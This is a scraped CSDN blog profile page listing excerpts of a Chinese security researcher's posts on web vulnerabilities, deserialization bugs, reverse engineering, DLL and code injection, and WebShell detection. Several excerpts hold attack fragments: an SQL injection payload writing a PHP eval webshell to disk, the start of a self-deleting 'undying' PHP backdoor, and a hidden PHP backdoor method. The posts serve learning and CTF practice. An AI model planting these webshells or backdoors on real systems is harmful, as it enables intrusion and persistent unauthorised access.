自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(106)
  • 收藏
  • 关注

原创 博客迁移 : )

感谢各位博友的关注,最近想了一下,还是不用CSDN写博客了吧,原因有三:1、需要整合知识体系:以前写的小白文太零散了,逻辑性弱,无系统概括,不便于阶段性总结,在新博客会小结一下知识架构、将目录和标签更为清晰地进行分类;2、博文的质量需要提高一下;3、受不了广告推送,实在是烦呢 : )个人感觉写得还行的博文会转移到新博客中,对于其他的一些博文后续会整合修改再发布到新博客。至...

2019-02-24 13:33:55 2496 2

原创 通过DVWA学习DOM型XSS

下了个新版的DVWA看了下,发现新增了好几个Web漏洞类型,就玩一下顺便做下笔记,完善一下之前那篇很水的DOM XSS文章,虽然这个也很水 :)基本概念DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞,其触...

2019-01-02 23:26:32 3953 3

原创 phar反序列化漏洞

之前做CTF遇到phar反序列化漏洞概念,这里小结一下,主要参考自https://paper.seebug.org/680/基本概念phar (PHP Archive) 是PHP里类似于Java中jar的一种打包文件,用于归档。当PHP 版本>=5.3时默认开启支持PHAR文件的。phar文件默认状态是只读,使用phar文件不需要任何的配置。而phar://伪协议即PHP归档...

2019-01-01 18:28:07 5915 1

原创 (Java)XMLDecoder反序列化漏洞

基本概念XMLDecoder用于将XMLEncoder创建的xml文档内容反序列化为一个Java对象,其位于java.beans包下。 影响版本XMLDecoder在JDK 1.4~JDK 11中都存在反序列化漏洞安全风险。 Demoimport com.sun.beans.decoder.DocumentHandler;import org.xml.sax.hel...

2018-12-17 22:46:46 5216

原创 (Python)cPickle反序列化漏洞

基本概念Python中有个库可以实现序列化和反序列化操作,名为pickle或cPickle,作用和PHP的serialize与unserialize一样,两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同,但cPickle库的性能更好,因此这里选用cPickle库作为示例。cPickle可以对任意一种类型的Python对象进行序列化操作。下面是主要的四个函数...

2018-12-15 17:04:26 3657

原创 (Python)PyYAML反序列化漏洞

基本概念(引用百度)YAML是“YAML不是一种标记语言”的外语缩写;但为了强调这种语言以数据做为中心,而不是以置标语言为重点,而用返璞词重新命名。它是一种直观的能够被电脑识别的数据序列化格式,是一个可读性高并且容易被人类阅读,容易和脚本语言交互,用来表达资料序列的编程语言。PyYAML是Python中YAML语言的编辑器和解释器。安装:pip install PyYAML两个函数...

2018-12-15 14:00:26 3415 1

原创 SQL注入写WebShell方式小结

这里小结一下通过SQL注入写入WebShell的方法。传统的SQL语句写shell通过SQL注入select into outfile实现,如:1' union select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/tmp/nb.php'#sqlmap写shell前提都是需要对目标目录具有写权限。-...

2018-12-09 11:08:43 20887

原创 Windows下的一种PHP隐蔽后门姿势

在Windows中的PHP解释环境中有两个函数能够自动加载文件,即auto_prepend_file和auto_append_file,其在php.ini中可修改成任意文件,可为PHP或DLL文件。将后门代码写入这两个文件,再修改include_path为后门文件的绝对路径,则Web站点下所有的PHP文件都可以作为PHP后门。1、修改auto_prepend_file和auto_append_...

2018-12-09 10:58:27 1772 2

原创 PHP内存型木马

基本概念PHP内存性木马即PHP不死马,一般会删除自身以进程的形式循环创建隐蔽的后门。通常在AWD Web题中用得较多。Demo及原理nodie.php<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '/var/www/dvwa/.ski12.php'; $...

2018-12-09 10:45:42 7833 1

原创 Linux环境与相关工具

这里小结一下Linux二进制分析相关的环境与工具的基础知识。Linux工具Linux自带了很多常用的binutils工具,这些工具可在http://www.gnu.org/software/binutils/中找到,其中包含许多用于二进制分析和破解的工具。GDBGNU Debuger,具体的不用多说。GNU binutils中的objdumpobject dump是一种对代...

2018-12-08 21:45:13 771

原创 PHP反序列化漏洞

序列化与反序列化通常我们定义了一个类的对象,其中保存了一些属性值,为了方便下次可以继续使用在这个对象或者在其他的文件中可以使用该对象,于是就可以调用serialize()函数将该对象序列化为字符串的形式,将该字符串保存起来,等到需要使用该对象时只需将该字符串传过去并调用unserialize()函数对其反序列化即可。serialize():将一个对象转成字符串形式,方便保存以便于下次再次反...

2018-12-08 18:13:02 1076

原创 使用汇编语言编写注入代码

这里主要借助OllyDbg的汇编功能,使用汇编语言编写注入代码即ThreadProc()函数。与上一篇文章的CodeInject.cpp代码类似,但区别在于THREAD_PARAM结构体不包含字符串成员,且使用指令字节数组替代了ThreadProc()函数(因为代码本身同时包含所需的字符串数据)。汇编语言常用的开发工具(Assembler)有MASM、TASM和FASM等。编写简单的待修改...

2018-10-06 23:22:49 2790 2

原创 代码注入(线程注入)

代码注入概念代码注入是一种向目标进程插入独立运行代码并使之运行的技术,其一般调用CreateRemoteThread() API以远程线程的形式运行插入的代码,亦称为线程注入。代码以线程过程(ThreadProcedure)形式插入,而代码中使用的数据则以线程参数的形式插入,即代码和数据是分别注入的。 代码注入与DLL注入的区别DLL注入适用于代码量大且复杂的情况,而代码注入适用于...

2018-10-05 23:16:37 6953 1

原创 HITB_Binary_100_writeup

HITB Binary 100是之前的HITB CTF的一道简单的逆向题,这里简单做一遍。下载hitb-bin100.elf将elf文件先跑一下,发现像歌词播放一样、每个一秒钟左右输出一句话,歌词好像没啥用,而且运行很久也还没停下来:根据字符串检索法,扔到IDA的String窗口查看是否存在关键字符串,可以看到有“FLAG”相关的字符串:点击进去查看,发现这段代码是在mai...

2018-08-26 15:10:26 683

原创 Python安全小工具之反编译pyc文件

有时需要查看某个Python Web目录内Python源码,但dump下来只有pyc文件而没有py文件,这时需要我们反编译pyc文件为py文件。为了方便就写个脚本遍历目录内的pyc文件并进行反编译。主要应用Python的第三方uncompyle6库,安装:pip install uncompyle6#coding=utf-8import osimport sysimport unc...

2018-08-26 12:46:52 2337

原创 Windows缓冲区溢出之SLMail

基本概念与环境准备缓冲区溢出:当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被填满从而覆盖了相邻内存区域的数据。可以修改内存数据,造成进程劫持,执行恶意代码,获取服务器控制权限等。在Windows XP或2k3 server中的SLMail 5.5.0 Mail Server程序的POP3 PASS命令存在缓冲区溢出漏洞,无需身份验证实现远程代码执行。注意,Win7以上系...

2018-07-08 00:23:45 5996 1

原创 通过修改PE加载DLL

基本概念除了DLL动态注入技术外,还可以通过手工修改PE文件的方式来加载DLL,这种方式只要应用过一次之后,每当进程开始运行时便会自动加载指定的DLL。整体思路如下:1、查看IDT是否有充足的空间,若无则移动IDT至其他位置,若有则直接添加至列表末尾;2、若无,修改OPTIONAL头IMPORT TABLE的RVA值并增大Size值,删除绑定导入表BOUND IMPORT Table,复制原IAT...

2018-06-24 10:51:58 3701

原创 DLL卸载

DLL卸载DLL卸载(DLL Ejection)是将强制插入进程的DLL弹出的一种技术,原理是驱使目标进程调用FreeLibrary() API,即将FreeLibrary() API的地址传递给CreateRemoteThread()的lpStartAddress参数并把要卸载的DLL的句柄传递给lpParameter参数。注意:使用FreeLibrary() API实现DLL卸载,仅适用于卸载...

2018-06-23 09:19:43 3830

原创 DLL注入

DLL注入DLL(Dynamic Linked Library动态链接库)被加载到进程后会自动运行DllMain()函数,用户可以把想执行的代码放到DllMain()函数,每当加载DLL时,添加的代码就会自然而然得到执行。DLL注入是指向运行中的其他进程强制插入特定的DLL文件。其工作原理是从外部促使目标进程调用LoadLibrary() API从而强制执行DLL的DllMain()函数,而且被注...

2018-06-22 20:22:57 5440 1

原创 Windows消息钩取

Windows消息钩取简单地说,消息钩取就是偷看、截取信息。常规Windows消息流:1、发生键盘输入事件时,WM_KEYDOWN消息被添加到[OS message queue];2、OS判断哪个应用程序中发生了事件,然后从[OS message queue]中取出消息,添加到相应应用程序的[application message queue]中;3、应用程序监视自身的[application m...

2018-06-13 20:13:01 2516 2

原创 内嵌补丁练习

内嵌补丁内嵌补丁即内嵌代码补丁(Inline Code Patch),当难以直接修改指定代码时,插入并运行被称为“洞穴代码”(Code Cave)的补丁代码后,对程序实现打补丁。该技术经常用于对象程序经过运行时压缩(或加密处理)而难以直接修改的情况。如图,左边是经典的运行时压缩代码(或加密代码),EP代码先将加密的OEP代码解码,再跳转到OEP代码处执行。若要打补丁的代码存在于经过加密的OEP区域...

2018-06-12 19:48:44 1329 1

原创 UPack的PE文件头分析与OEP查找

UPack(Ultimate PE压缩器),是一种PE文件的运行时压缩器,特点是使用独特的方法对PE头进行变形。UPack会使许多的PE分析程序无法正常运行,因此很多恶意代码都是通过UPack进行压缩。 UPack PE文件头分析使用UPack压缩notepad.exe:UPack会直接压缩源文件而不会进行备份。压缩后的notepad文件更名为notepad_upack。使...

2018-06-11 20:04:08 1554 1

原创 从可执行文件中删除.reloc节区

基址重定位表对于DLL和SYS文件来说是必须得,但在EXE格式的PE文件中,基址重定位表并无作用,将其删除后程序仍然能够正常运行。VC++中生成的PE文件的重定位节区名为.reloc,删除该节区后文件可正常运行,并且缩减了文件大小。.reloc节区一般位于所有节区的最后,可以使用PEView和Win Hex Editor来手动删除。这里对reloc.exe程序进行演示。1、删除.reloc节区头:...

2018-06-09 22:19:14 2177

原创 基址重定位表

基址重定位表(Base Relocation Table),记录PE重定位时需要修改的硬编码地址的位置。一般地,向进程的虚拟内存加载PE文件(EXE、DLL、SYS)时,文件会被加载到PE头的ImageBase所指的地址处。若加载的文件为DLL或SYS,且ImageBase位置加载了其他DLL或SYS文件时,则会进行PE重定位。PE重定位是指PE文件无法加载到ImageBase所指位置时,而加载到...

2018-06-09 22:10:32 1816

原创 运行时压缩(UPX)

任何文件都是由二进制组成的,因而只要使用合适的压缩算法,就可以是文件大小进行压缩。无损压缩:经过压缩的文件能完全恢复。如7-zip、面包房等压缩程序。有损压缩:经过压缩的文件不能完全恢复。压缩多媒体文件时大部分使用有损压缩。运行时压缩器:运行时压缩器(Run-Time Packer)是针对可执行文件而言的,可执行文件内部含有解压缩代码,文件在运行瞬间在内存中解压缩后执行。运行时压缩文件也是PE文件...

2018-06-07 19:57:03 3785 3

原创 PE文件格式

PE即Portable Executable,是Windows OS下使用的可执行文件格式。PE文件是指32位的可执行文件,亦称为PE32。64位的可执行文件称为PE+或PE32+,是PE文件的一种扩展形式。PE文件种类如下表:PE文件基本结构:从DOS头至节区头是PE头部分,下面的节区合称PE体。文件的内容一般分为代码(.text)、数据(.data)、资源(.rsrc)节,分别保存。VA&am...

2018-06-04 19:57:40 3077

原创 逆向分析Tut.ReverseMe1

这里调试一个https://tuts4you.com/上的crackme文件Tut.ReverseMe1.exe。运行程序查看:提示需要去除所有的Nags(唠叨)并找到正确的注册码。点击确定之后:提示使用SmartCheck进行注册。这里我们使用调试器进行调试破解。至此,明确一下目标,第一是去掉消息框,第二是查找注册码。使用Ollydbg打开该文件:开始即是VB引擎代码。直接跳过该部分,使用字符串...

2018-06-03 17:31:20 1633 1

原创 栈帧

栈帧(Stack Frame)是利用EBP寄存器访问栈内局部变量、参数、函数返回地址等的手段,在程序中用于声明局部变量、调用函数等。整个过程为:调用某函数时,先把用作基准点(函数起始地址)的ESP值保存到EBP并维持在函数内部。无论ESP的值如何变化,以EBP的值为基准能够准确安全访问到相关函数的局部变量、参数、返回地址等。网上找的一个函数调用栈的典型内存布局如下:基本的栈帧结构如...

2018-06-03 10:39:41 2573

原创 函数调用约定

函数调用约定(Calling Convention)是对函数调用时如何传递参数的一种约定。函数调用完毕后,ESP寄存器的值需要恢复到函数调用之前的值,从而保证可引用的栈大小不会缩减。而函数调用约定就是解决函数调用后如何处理ESP的问题的。1、cdeclcdecl主要是C语言中使用的方式,调用者负责处理栈。编写简易的代码如下:#include "stdio.h"int add(int a, in...

2018-06-02 17:26:11 745

原创 逆向分析abex'crackme #2

这里接着逆向分析abex' crackme #2。运行程序,要求填入Name和Serial:随意填写后点击Check: 可以看到,显示这个序列号错误。由此可知,该程序是通过获取用户输入的Name字符串,再通过加密的方式加密Name字符生成相应的Serial值。这里可以明确一下目标,即逆向分析该加密算法具体是如何实现的。 OllyDbg打开该exe文件: ...

2018-06-02 12:58:24 2449 2

原创 逆向分析abex'crackme#1

abexcm1-voiees.exe程序是crackme的第一道最简单的逆向练习题。运行程序查看:弹框显示需要让程序觉得你的HD是一个CD-Rom。然后点击确定:显示错误,说不是CD-ROM。再按确定即退出程序。至此可以明确,需要逆向修改文件的逻辑以绕过检测CD-ROM的判断。使用OllyDbg打开该可执行文件:可以直观地看到EP代码十分简短,main()函数直接出现在EP中,因为其是由汇编语言直...

2018-05-20 11:42:01 1470

原创 IA-32(Intel Architecture 32位)寄存器小结

这里简单记录一下各个寄存器的基本内容。一、通用寄存器:用于传送和暂存数据,参与算数逻辑运算并保存运算结果。IA-32每个通用寄存器的大小都是32位,即4个字节,主要用来保存常量和地址等信息。以下4个通用寄存器主要用于算术运算如ADD、SUB、XOR、OR等,常用于保存常量与变量的值。EAX:(针对操作数和结果数据的)累加器,一般用在函数返回值中,所有Win32 API函数都会把返回值保存到EAX后...

2018-05-20 10:25:16 1156

原创 逆向分析HelloWorld程序

这里将之前学习《逆向工程核心原理》的笔记重新实现整理一遍,代码重新编写实现,以方便以后查阅。编写运行HelloWorld程序环境主要是Win7 32位系统,使用VS2010进行编程:#include "windows.h"int main(){ MessageBox(NULL, L"Hello World!", L"blog.csdn.net/ski_12", MB_OK);...

2018-05-16 11:25:12 7037

原创 通过Pentester_Lab学习XML注入

Pentester Lab是一款老外编写的Web渗透练习环境。 XML注入相关概念:XML是一种可扩展标记语言,可以理解为HTML的扩展语言,一般用于数据存储、数据传输、数据共享,其中DTD文档来解释XML文档。XML必须包含根元素,所有的标签都要闭合,对大小写敏感,并且属性值需要加引号。XML注入即XXE(XML外部实体注入),是指利用可控的参数或入口来加载不可控的参数或代码,造...

2018-05-14 11:26:45 1480

原创 Python爬虫之分布式爬虫

本篇文章主要讲讲分布式爬虫的实现,一个是基于主从模式的方法,另一个则是基于Scrapy_redis分布式实现的方法。分布式进程:分布式进程是指将Process进程分布到多台机器上,充分利用多台机器的性能完成复杂的任务。在Python的通过multiprocessing库来完成,该模块不仅支持多进程且还支持将多进程分布到多台机器上。分布式进程就是将把Queue暴露到网络中让其他机器进程可以访

2017-12-20 10:43:46 3121 6

原创 Python爬虫之Scrapy爬虫框架

Scrapy是一个用Python写的爬虫框架,使用Twisted这个异步网络库来处理网络通信。这里通过创建CSDN博客爬虫来学习Scrapy爬虫框架。安装Scrapy:在Linux上,直接pip install scrapy即可;在Windows上,需要依次安装pywin32、pyOpenSSL、lxml和scrapy。本次在Kali上安装,安装成功后能成功看到版本信息:

2017-12-19 12:41:32 3287

原创 Ubuntu搭建MongoDB集群

MongoDB集群旨在提高系统的稳定性,使用多个MongoDB存储节点,当主节点挂掉之后从节点可以立即补充进来保证系统可以正常稳定地运行。在Kali Linux中是默认安装了MongoDB的,位于/etc/init.d/目录。这里只在Ubuntu上进行操作。Ubuntu安装MongoDB:导入软件源的公钥:sudo apt-key adv --keyserver hkp://key

2017-12-18 22:26:51 2924

原创 机器学习应用之WebShell检测

本文主要参考自兜哥的《Web安全之机器学习入门》前段时间在研究WebShell的检测查杀,然后看到兜哥的著作中提到的几个机器学习算法中也有实现WebShell检测的,主要有朴素贝叶斯分类、K邻近算法、图算法、循环神经网络算法等等,就一一试试看效果吧。Python中的几个机器学习的库1、numpy:安装:pip install --user numpy2、SciPy:

2017-12-09 11:51:22 6481 1

原创 Web安全加固小结

1、IIS加固:以IIS上搭建的dvbbs站点为了,在管理工具>IIS管理器>网站>dvbbs>右键属性:(1)修改默认日志路径c:\windows\system32\logfilesd:\dvbbslog:system读写,Administrator读(2)网站>属性>高级:协议版本、cookie(3)删除所有不必要的映射:扩展名asp、html右键属性>主目录>配置

2017-12-06 09:32:51 5912

原创 Windows系统安全小结

本文不定期更新,将阶段性的总结记录到博客中,方便以后查看~Windows用户相关命令及隐藏用户:查看所有用户:net users查看指定用户user1:net user user1添加指定用户user1:net user user1 password1 /add删除指定用户user1:net user user1 /del简单地隐藏用户:添加隐藏用户test(在账户名后

2017-12-05 10:59:54 3121

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除